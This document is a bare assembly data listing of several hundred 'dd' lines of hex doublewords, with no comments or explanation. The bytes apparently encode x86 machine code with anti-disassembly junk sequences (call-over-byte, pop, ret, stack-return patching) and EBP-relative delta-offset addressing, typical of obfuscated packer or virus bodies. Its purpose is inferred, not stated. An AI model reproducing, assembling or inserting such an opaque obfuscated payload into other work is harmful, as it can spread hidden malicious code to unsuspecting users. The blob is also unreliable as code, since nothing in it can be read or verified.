		dd 0E023F5B5h, 58D38B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0EC35343h, 2F03A488h,	0F87DE3Dh, 0C87h
		dd 6860F00h, 89000000h,	0E021B99Dh, 819D8907h, 8307E020h
		dd 0E01285BDh, 840F0007h, 18Ah,	30D5B589h, 896007E0h, 0E000D995h
		dd 5985C607h, 5407E007h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 24C35040h, 0CBC587BDh, 0B6272BDBh, 0DA816649h
		dd 4E83113h, 0F4000000h, 50FF4EBEh, 0FD78B52h, 5B526031h
		dd 61DA8B66h, 0E850585Ah, 0Ah, 0F3A47804h, 4C5D76E8h, 526014F4h
		dd 0CFB7BF5Ah, 5B61738Fh, 424448Bh, 815698BBh, 0F008B33h
		dd 287h, 89D38B00h, 60042444h, 3880Fh, 8B660000h, 6A5861FBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0B7D4C353h, 2DB5FF9Ch, 8B07E029h,	0E8858DDEh
		dd 6A07E37Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 50BDC357h, 47DCEE86h, 102BD665h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 2BC28CC3h, 5ACAB356h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AA7FE1C3h
		dd 36C25946h, 0B5FFD62Fh, 7E01285h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 7FC35040h, 9F881F92h, 806A31BFh
		dd 9D89529Fh, 7E02371h,	8BD0FF5Ah, 6A61D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 3139E3C3h
		dd 0CA81665Ch, 85C7D656h, 7E012F5h, 1, 7E852h, 6AA10000h
		dd 0E3B94210h, 8E8C5h, 0F73F0000h, 2ECCE5EAh, 5B5B5BFCh
		dd 0CD9D0B5Bh, 6007E011h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0CDC35242h, 0D2B3207Bh, 349D958Bh, 0A76807E0h
		dd 81ACAD3Dh, 0C2D92404h, 6A5352h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 92DC2BC3h, 0BF0F4D8Eh
		dd 8BFF6AD7h, 0E195FFDEh, 8907E007h, 0E033F5B5h, 0F3816107h
		dd 233574E1h, 24048950h, 17F59D2Bh, 858B07E0h, 7E03249h
		dd 88D9503h, 0C00B07E0h, 26840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 105A13C3h
		dd 8D95FF92h, 0FC07E000h, 7ED85C7h, 107E0h, 0D38A0000h
		dd 1DEDBD83h, 0F0007E0h, 3084h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C06BCFEFh
		dd 8D6116B1h, 79B1BA66h, 137D95FFh, 0B70F07E0h,	0A1BD83D0h
		dd 7E001h, 0E840Fh, 0FFF90000h,	0E0311595h, 0B8DA8107h
		dd 0F526ED39h, 1F89BD83h, 0F0007E0h, 6784h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 40B02ACEh, 0C2642ABAh, 6EE3B5BAh, 6DBD8305h,	7E02Dh
		dd 32850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 180424h, 56460000h, 0E00B32C3h, 95FF188Dh, 7E02C21h
		dd 68F0Fh, 85290000h, 7E01495h,	6E9BD83h, 0F0007E0h, 2384h
		dd 19BD8900h, 8107E01Bh, 0E020F585h, 400307h, 82E78000h
		dd 23998581h, 400307E0h, 8B660000h, 25DE80D8h, 6A310Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 792E93C3h, 0E38D8D6Fh, 8907E05Fh, 3378B301h,	0BD9D8BC2h
		dd 8907E030h, 8B660441h, 0F5310FD6h, 5FF08D8Dh,	5FBA07E0h
		dd 890A23AFh, 9958B01h,	6607E030h, 33B13DBBh, 7D9589C2h
		dd 8907E01Bh, 95330441h, 7E01829h, 1B05BD83h, 0F0007E0h
		dd 3D84h, 58D8900h, 0FF07E01Eh,	0E00F6995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0FC5C079Ch, 68E0Fh, 9D290000h, 7E02C79h, 0BDADF381h
		dd 0BD8321B9h, 7E0156Dh, 5C850F01h, 8B000000h, 55E9DFh
		dd 0BB660000h, 0B58BDEAAh, 7E060BDh, 6C7h, 0B58B0000h
		dd 7E05F04h, 6C7h, 60CF0000h, 2DCD9529h, 0B70F07E0h, 6A61CEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 9A6D4EC3h, 8D8B60C2h, 7E02A15h, 21299533h, 836107E0h
		dd 0E007EDBDh, 840F0007h, 136h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0AEC35646h,	39B2FF5Bh, 0E1858957h
		dd 5A07E01Dh, 14A1BD83h, 0F0107E0h, 0D585h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8BAE8610h, 58D89D0h,	8B07E013h, 0E04E5F8Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 82531856h, 1C6A1B7h,	8D958B00h, 6007E02Eh, 260D9589h
		dd 3E6807E0h, 8BA8BB8Eh, 240481DEh, 57447242h, 1820Fh
		dd 6AF50000h, 619D2BFFh, 0FF07E02Ah, 0E007E195h, 68C0F07h
		dd 8B000000h, 0E0009995h, 95896107h, 7E02065h, 25359589h
		dd 95FF07E0h, 7E02579h,	0EE9h, 88C04C00h, 534190D6h, 0E58D8735h
		dd 8BD6F655h, 0E04E5F8Dh, 0FE907h, 690D0000h, 657289E5h
		dd 0BE9DA013h, 0F5790434h, 0F501FE9Fh, 2879958Bh, 0BD8307E0h
		dd 7E020A5h, 1F850F01h,	8B000000h, 0E01E0D9Dh, 14E907h
		dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h,	86672CAAh
		dd 0C08B44DBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0DFC35545h, 0BD83728Ah,	7E006B1h, 83097500h, 0E001C5BDh
		dd 1A740007h, 0C08B5350h, 20F5858Bh, 858907E0h,	7E020F5h
		dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50187400h
		dd 0F5858B53h, 8907E020h, 0E020F585h, 519D8D07h, 0FF07E2B9h
		dd 6A585BD3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 65EC353h, 759D012Eh, 6A07E025h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0AE22C353h, 108D6829h, 0C19596EFh, 71953156h
		dd 5A07E016h, 499503F8h, 8B07E001h, 42D381C0h, 831F8028h
		dd 0E007EDBDh, 850F0007h, 15h, 24E19D09h, 0BD8307E0h, 7E030E1h
		dd 2840F00h, 0B7000000h, 0EDBD83ACh, 7E007h, 35840Fh, 0DA810000h
		dd 4E7E0FA3h, 1085BD83h, 0F0007E0h, 2284h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0C10FCBC9h, 8346B7E1h, 0E007EDBDh, 840F0007h, 2Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 14C35747h, 0C21AF25Fh
		dd 1085BD83h, 0F0007E0h, 84h, 0EDBD8300h, 7E007h, 46840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 4C9B76C3h, 0FF48877Ah, 0BD89E498h, 7E02B1Dh
		dd 1801BD83h, 0F0007E0h, 0F84h,	0AE900h, 18850000h, 1CBE3518h
		dd 0DB6C567Dh, 7EDBD83h, 0F0007E0h, 3784h, 0D950100h, 8307E01Ch
		dd 0E033D1BDh, 840F0007h, 24h, 6F69BB66h, 123D95FFh, 0EE807E0h
		dd 50000000h, 7ACA0672h, 0CF4EBD95h, 8CFD1850h,	359D8B3Fh
		dd 5A07E005h, 9D8BC08Bh, 7E021BDh, 6B1BD83h, 750007E0h
		dd 0C5BD8309h, 7E001h, 53501A74h, 858BC08Bh, 7E02399h
		dd 23998589h, 9D8D07E0h, 7E2BCC9h, 585BD3FFh, 1C5BD83h
		dd 740007E0h, 8B535018h, 0E0239985h, 99858907h,	8D07E023h
		dd 0E2B96A9Dh, 5BD3FF07h, 6820F58h, 23000000h, 0E016B99Dh
		dd 419D0B07h, 8B07E02Dh, 8364B3C0h, 0E007EDBDh,	840F0007h
		dd 4D9h, 1D099D2Bh, 0BD8307E0h,	7E033EDh, 31840F02h, 83000000h
		dd 0E0156DBDh, 850F0107h, 24h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0F6C35747h,	30D0CE97h, 0F9CE3EC4h
		dd 50006A60h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 85CCCA28h, 850FAE19h, 6,	199D8D89h, 0B52907E0h
		dd 7E0312Dh, 4E5F8D8Bh,	6A07E0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 8ED385C3h, 0C8F72D1Ch
		dd 0B5890D9Eh, 7E02B69h, 9D8B01FEh, 7E018ADh, 4E8h, 8000h
		dd 509CB700h, 13E9h, 641EFF00h,	5A55F176h, 0A412AB42h
		dd 0EDBE148Dh, 4AB636FBh, 424448Bh, 5860Fh, 8FBB0000h
		dd 8B240833h, 5D31BA00h, 44894903h, 52500424h, 0CE8h, 7D399700h
		dd 0BCCE8B11h, 0CC847790h, 0D18B66BFh, 0F310F5Bh, 82h
		dd 58585A00h, 13059589h, 0FF6A07E0h, 18BDB589h,	952307E0h
		dd 7E01AEDh, 7E195FFh, 0DC8A07E0h, 68D0F61h, 8B000000h
		dd 0E0047195h, 0DDBD8D07h, 6A07E014h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 22E7C357h
		dd 80CA8166h, 1C4F8BE7h, 7E8h, 2150EE00h, 0E31E249Eh, 3245958Bh
		dd 895A07E0h, 0E0227585h, 0B3016A07h, 830F91E1h, 2, 0F502AB6h
		dd 198Eh, 14E900h, 3F7E0000h, 300156C8h, 6B78D1AFh, 0BB66A88Bh
		dd 7B23A428h, 5291A0AEh, 0FD1958Bh, 8D5B07E0h, 0E348AD85h
		dd 6135BA07h, 860F7D4Bh, 0
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E624A6C3h, 89204F8Bh, 0E012199Dh, 6A036A07h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 50FDC351h, 5890Fh, 0A7BB0000h, 890AA309h
		dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0ED6094C3h, 8DAC56BDh, 0E348AD85h, 0BBD0FF07h
		dd 23F9FC48h, 14DDBD8Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0B663A2C3h, 8BEF649Dh
		dd 6A1C4Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 9D4C14C3h, 607B38B2h, 6850FF5h, 8B000000h
		dd 0E008D98Dh, 8E96107h, 0A9000000h, 0AEE235E4h, 6A20D2E9h
		dd 0D38B6601h, 66525091h, 0FCFA7BBh, 0BE831h, 0F8160000h
		dd 0EAE15B28h, 0E0213A2Fh, 0F525043h, 5B585A31h, 5750585Ah
		dd 0FE9h, 0CD0E3000h, 4945B7FFh, 99E6D8B9h, 0CB925BBh
		dd 0B560915Ah, 0D023BE3Bh, 8D6120BDh, 0E348AD85h, 89DE8A07h
		dd 0E02599BDh, 60D0FF07h, 614CE280h, 6A204F8Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0E74C356h, 0BD017C49h, 7E02CADh, 0AF28166h, 6A036ABAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6A70C353h, 24355E59h, 8953C5AFh, 0E026CDBDh
		dd 51915B07h, 5AD18B66h, 14E850h, 10930000h, 2E3588B5h
		dd 0A377C54Bh, 0AACDFB92h, 0CC2BC28Ch, 5E9A234h, 1D000000h
		dd 62F880ADh, 0B589915Ah, 7E01BE1h, 48AD858Dh, 8A0F07E3h
		dd 3, 0FFD9B70Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 7DFFD3E4h, 2805707h, 0D78B05E2h
		dd 8E9h, 16101E00h, 8B2923B2h, 5F8D8BC6h, 8907E04Eh, 0E019C5B5h
		dd 6A01FE07h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 7597C352h, 1DE99D03h, 858B07E0h
		dd 7E04E5Fh, 0CE9h, 0F8A49F00h,	0EFAB8536h, 551348FBh
		dd 6A00FE34h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 1AEC356h, 0E0199D9Dh, 3016A07h
		dd 0E02CED95h, 126A6807h, 830FD011h, 14h, 0FE9h, 0F52C0000h
		dd 0E98FCC74h, 79867521h, 434C3257h, 95240481h,	12FEE8Dh
		dd 0E01D8185h, 7E907h, 0A3C80000h, 0CAB442Dh, 0B7858DC3h
		dd 6A07E348h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 815C356h, 89764FC2h, 0E02F6985h
		dd 82CA8107h, 0FF6E4B75h, 0FE960D0h, 36000000h,	62ADB7D7h
		dd 8BAEB4A7h, 7D79BC2Dh, 958B5ED1h, 7E028EDh, 0E1BD8361h
		dd 7E030h, 0BB840Fh, 5E80000h, 8C000000h, 94BF1CA0h, 7399D8Bh
		dd 515B07E0h, 6850Fh, 0BD890000h, 7E0146Dh, 0B1BD835Ah
		dd 107E016h, 8F850Fh, 958B0000h, 7E02C59h, 48C18D8Dh, 953107E3h
		dd 7E011BDh, 1850Fh, 6AF80000h,	53006A03h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0F49F975Dh
		dd 14DBB6F9h, 0D7BB0E7Ch, 0B64E67ABh, 89016AA9h, 0E033B5B5h
		dd 6AD1FF07h, 8AF96001h, 9D8B61C1h, 7E01CE9h, 0FFF9016Ah
		dd 0AD958BD1h, 0E807E016h, 0F87B6C32h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 10C35242h, 1F14ECB7h, 0E9206A1Ah
		dd 0Ch,	88C7FBBCh, 0C42209D7h, 0D211D220h, 95FFFF6Ah, 7E007E1h
		dd 1591958Bh, 0B807E0h,	89000000h, 0E0228DB5h, 0FC00B07h
		dd 4684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0F9F152AEh, 0D68B1E89h, 9F41BB66h
		dd 3441BD83h, 0F0007E0h, 1284h,	95FFF900h, 7E018C1h, 0D5DA8166h
		dd 0A18D8972h, 8B07E028h, 0E0203985h, 0C607h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7CC35747h, 22A387FBh
		dd 58F103E6h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	13C35242h, 9B10998Dh, 0F7F28166h, 0D98C6638h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F1C35242h, 9C878EECh
		dd 89FC5C07h, 0E00E15BDh, 0F6D78B07h, 840F04C1h, 72h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1CC35646h, 0EAAD8F50h
		dd 30203243h, 618D89F4h, 0E907E010h, 42h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 53C35242h, 0A5B87AAFh
		dd 89B58B8Ah, 0F07E02Ah, 68Bh, 11850100h, 8107E012h, 1180C6h
		dd 0A3EE8000h, 6C7h, 895E0000h,	0E03391BDh, 8FBB6607h
		dd 0F883D1h, 0C10840Fh,	9D8B0000h, 7E02D21h, 0F01F883h
		dd 1A785h, 35950900h, 0B807E016h, 0
		dd 0A7E38166h, 0FC00B63h, 10284h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 32EB3B76h
		dd 0CE978h, 81240000h, 0B4B93D00h, 0DBC3E248h, 0F8832FE3h
		dd 0F3840F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 759EC350h, 660474CDh
		dd 0D5E4DB81h, 0F03F883h, 4484h, 4D958B00h, 0B807E000h
		dd 0
		dd 958BD88Bh, 7E00F61h,	89E0BD8Dh, 6A005Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E0D719C3h
		dd 6E9E7FFh, 73000000h,	0F7DFA111h, 1B80Ah, 12E90000h
		dd 0E5000000h, 62EBCBB5h, 9F0BDF85h, 0B371CD8h,	7AD181B7h
		dd 0E0BD8D4Ah, 6A005B89h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0D18CC350h,	3838A95Fh
		dd 68E0Fh, 0B5890000h, 7E00799h, 76BBE7FFh, 8D1B352Eh
		dd 0E044EBBDh, 0E9950107h, 0B707E001h, 305E9AAh, 95290000h
		dd 7E021D5h, 0DE9h, 811F6100h, 8FEA4169h, 0FCCF2A27h, 85C7FCEAh
		dd 7E04EBAh, 5,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	82C35242h, 8B9BDEE9h, 0E0018595h, 5B807h, 11E80000h
		dd 0AF000000h, 0E81D7D8Dh, 65E319F0h, 0F3C09DBAh, 9C8E53C4h
		dd 2C2D9D31h, 895A07E0h, 0E0209985h, 9E4E907h, 958B0000h
		dd 7E02045h, 0F02F883h,	10285h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 16831653h
		dd 0B80A42F3h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h
		dd 89608A04h, 0E01C4D8Dh, 11E807h, 89130000h, 99D673A0h
		dd 5941D68Bh, 142982FBh, 0F5AA96BAh, 0EE9615Bh,	13000000h
		dd 63BF4144h, 0E5A46A3Dh, 7B05F1C6h, 0F4EB8038h, 840FC00Bh
		dd 57h,	83DE8B66h, 840F01F8h, 0FFFFFF06h, 8361D680h, 840F03F8h
		dd 0FFFFFE79h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0C1C35040h, 8166C02Bh, 0B3B0BFF3h, 0E0BD8D5Dh
		dd 0F005B89h, 681h, 29BD8900h, 0FF07E000h, 1D9589E7h, 8D07E008h
		dd 0E046E3BDh, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 80E9B945h, 83000001h
		dd 850F03F8h, 64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 56C35747h, 69BD89CAh,	8D07E007h, 0E04877BDh
		dd 0EA816607h, 0D88B0512h, 142E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 99179E52h
		dd 0AF5BBE5Ah, 6840Fh, 9D8B0000h, 7E01E29h, 0F05F883h
		dd 3485h, 0A9958B00h, 0E907E020h, 852h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 6AC35242h, 0A05456D5h
		dd 6F941A54h, 60B01ABAh, 6F88319h, 29850Fh, 810F0000h
		dd 0Fh,	0AE9h, 87250100h, 3C1F263Dh, 8D406E00h,	0E04A6FBDh
		dd 11DB8007h, 0AAE9h, 799D8B00h, 8307E015h, 850F07F8h
		dd 2Ah,	8D82F680h, 0E00215BDh, 0C1958B07h, 0E907E022h
		dd 11Dh, 1299958Bh, 606007E0h, 26F5B58Bh, 9D8B07E0h, 7E0160Dh
		dd 0F8836161h, 68850F0Ah, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2B5DC352h
		dd 93592911h, 0CE93A6Ah, 90000000h, 0C48CD458h,	75077B5Ah
		dd 8D7B378Ch, 0E04C67BDh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0ADFE0F62h
		dd 41C2D223h, 735E72BBh, 0E9FC73h, 57000000h, 0B9D88B66h
		dd 9CB9640h, 320D9589h,	12E807E0h, 0F7000000h, 4EB5558h
		dd 864532C6h, 9BB535C9h, 0AB1D3E85h, 0F5958B67h, 5B07E02Eh
		dd 0F003F83h, 3A84h, 0D757BB00h, 0F304348h, 16890Fh, 11E90000h
		dd 91000000h, 9B495796h, 0FD68B939h, 7C2F3CDCh,	0B136FC1Bh
		dd 0F380C9D1h, 95314751h, 7E02395h, 0FFFFC3E9h,	7DB81FFh
		dd 5F5AF949h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	2FC35242h, 863B23E4h, 5F6EB957h, 63BD89F9h, 6A07E04Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5E5EC355h, 6E9ACh, 0A84C0000h, 2A3E0811h
		dd 21E98D8Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 844FC0C3h, 59D8B64h, 0FF07E020h
		dd 0E028FDB5h, 25BA6607h, 58858D87h, 5007E2AEh,	5684BD8Dh
		dd 8D8D07E0h, 7E07153h,	831ABCB8h, 30CF2B54h, 47C8D007h
		dd 8DF87549h, 0E070AFB5h, 6B8D8D07h, 2B07E071h,	33A4F3CFh
		dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E03441h, 0FF067400h
		dd 0E018C195h, 63B58B07h, 8D07E04Eh, 0E2AE5885h, 8DD0FF07h
		dd 0E042C085h, 0C7D0FF07h, 0E00F8D85h, 107h, 99A58B00h
		dd 8B07E030h, 0E01B0DB5h, 71AD8B07h, 3307E006h,	0CC2C0h
		dd 12819D89h, 958B07E0h, 7E02621h, 2269BD83h, 0F0007E0h
		dd 5084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0F281FA8Eh, 2498F188h, 33B195FFh
		dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 4A8C9C3h,	89730F2Dh, 0E01EB585h, 51BD8307h
		dd 7E015h, 22C850Fh, 0B5890000h, 7E02D45h, 25FD958Bh, 0BD8307E0h
		dd 7E016B1h, 13850F01h,	0F000002h, 289h, 60D88B00h, 3499858Bh
		dd 850307E0h, 7E02E3Dh,	4DBD8361h, 7E012h, 1F0840Fh, 0CAB20000h
		dd 4EB6BD83h, 0F0007E0h, 1E184h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 14E995DFh
		dd 90000000h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 4F1ED8C1h
		dd 0E8EDFB72h, 13h, 52BD513Ch, 5D50FAFEh, 2F9B27B6h, 27693FE5h
		dd 1F44354h, 0E018359Dh, 858D5A07h, 7E2AE58h, 2963BB66h
		dd 4E63B58Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E83A46C3h, 6, 3FD06364h, 952B7DEAh
		dd 7E022A9h, 0B6D0FF5Bh, 5985C625h, 5407E007h, 1B99958Bh
		dd 4E807E0h, 0F4000000h, 57FF4EBEh, 3CDEBB66h, 850F505Bh
		dd 17h,	5E860h,	0F2D00000h, 5BA8F2B5h, 5E9h, 0F51CB600h
		dd 8B61B1E4h, 0F042444h, 1E80h,	12E800h, 0F2C20000h, 336B005Fh
		dd 2D30EFDAh, 7A183783h, 2E0315FBh, 8F0Fh, 8B5B0000h, 89DA8A00h
		dd 0F042444h, 0F8Eh, 5E86000h, 92000000h, 50A0B04Ah, 6161605Ah
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 81DB9779h, 51773ECAh, 1B5FF69h, 0BB07E02Fh
		dd 797DEE1Eh, 39F8858Dh, 0DE8007E0h, 0FD0FF94h,	28Ch, 6A3BB200h
		dd 0D68B6600h, 950BFF6Ah, 7E02321h, 0D0FF6160h,	10E9h
		dd 8481C000h, 0CB17F026h, 75ADB00Dh, 40C57A9Ah,	0FFDE8BB9h
		dd 0E0005DB5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 3038F183h, 0FB420A7Ch
		dd 0D680C61Dh, 0FD95FF5Fh, 6A07E028h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 185AC351h
		dd 0FF9C807h, 587h, 0F3816600h,	0B58B6784h, 7E04E63h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B8C35646h, 97C9E88Ch
		dd 6655832Bh, 0B3C3D08Bh, 39B58BFAh, 8B07E020h,	0E008F195h
		dd 0FF60B07h, 3D84h, 89D78B00h,	0E01D6DB5h, 6C607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0DFC35141h, 8815C9Ah
		dd 1D69950Eh, 1189BD09h, 295107E0h, 0E018198Dh,	85895A07h
		dd 7E04E6Bh, 164D8D89h,	83FC07E0h, 840F00F8h, 31Ah, 2A698509h
		dd 0B807E0h, 81000000h,	64A66BE2h, 83C1B72Eh, 840F00F8h
		dd 0C2h, 83DE8B66h, 850F02F8h, 98h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 70C35040h, 0E7344F70h, 0AD958B4Fh
		dd 8D07E008h, 0E044E685h, 38C0F07h, 66000000h, 0BF0FD98Bh
		dd 9292DD1h, 9D0B0000h,	7E012A9h, 8E890h, 2C280000h, 0FB3DFA5Dh
		dd 52500AE6h, 5250310Fh, 585A310Fh, 505A585Ah, 0D68B5250h
		dd 0DE8A310Fh, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A3BDC357h,	61808C50h
		dd 92638D7h, 0E016BDBDh, 0F4B7C307h, 0B8h, 8C0F5300h, 6
		dd 143D958Bh, 0E95B07E0h, 242h,	12B58501h, 1B807E0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0BDBC352h, 511E22EBh
		dd 0DE8B3DCFh, 0EBBD8DF9h, 8B07E044h, 0E016F195h, 7E86007h
		dd 37000000h, 0F4659D11h, 9D03500Fh, 7E00FA1h, 16D3815Fh
		dd 613352BDh, 0A9E9h, 0FE800h, 9DE20000h, 0E99B19F8h, 0B10CE1A5h
		dd 0BF03B48Ah, 61958B35h, 5B07E02Bh, 5BF4F281h,	0F8834DDFh
		dd 36850F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 5A56C357h, 0A4DD8785h
		dd 44FACA86h, 46E3BD8Dh, 4FE907E0h, 66000000h, 0BF0FD38Bh
		dd 3F883DEh, 22850Fh, 95330000h, 7E0226Dh, 4877BD8Dh, 8B0F07E0h
		dd 3, 0E9A3DA80h, 26h, 28C0Fh, 0DF8B0000h, 0F05F883h, 1585h
		dd 28E0F00h, 0B6000000h, 0C8E9B6h, 60F80000h, 0BF0FC38Bh
		dd 6A5761CEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0F883C352h, 0FC82940Fh, 0FD9589AFh
		dd 0B907E016h, 9CB9640h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0D9C35242h, 0FA9F1D0Ah, 9D8951C7h, 7E015B5h
		dd 0F003F83h, 6184h, 0E59D2B00h, 107E004h, 0E02A799Dh
		dd 800F3007h, 860F2CF7h, 6, 26A98589h, 0C9D107E0h, 102DBD89h
		dd 9D8B07E0h, 7E019BDh,	699D8B47h, 0E907E01Fh, 0FFFFFFC0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h
		dd 881C7B99h, 60666292h, 0BF0FD38Bh, 0F88361D9h, 73850F05h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0F7F4C350h, 66F50209h,	6E9D98Ch
		dd 0A2000000h, 925E6C2Bh, 4C1F6E8h, 1C850Fh, 9D890000h
		dd 7E0305Dh, 0B8h, 218D8900h, 0E907E02Bh, 26h, 0DFD6EB81h
		dd 858B7B96h, 7E023F5h,	19119589h, 0E0FF07E0h, 0C870Fh
		dd 800F0000h, 6, 20A9958Bh, 0BD8307E0h,	7E028FDh, 0B4850F00h
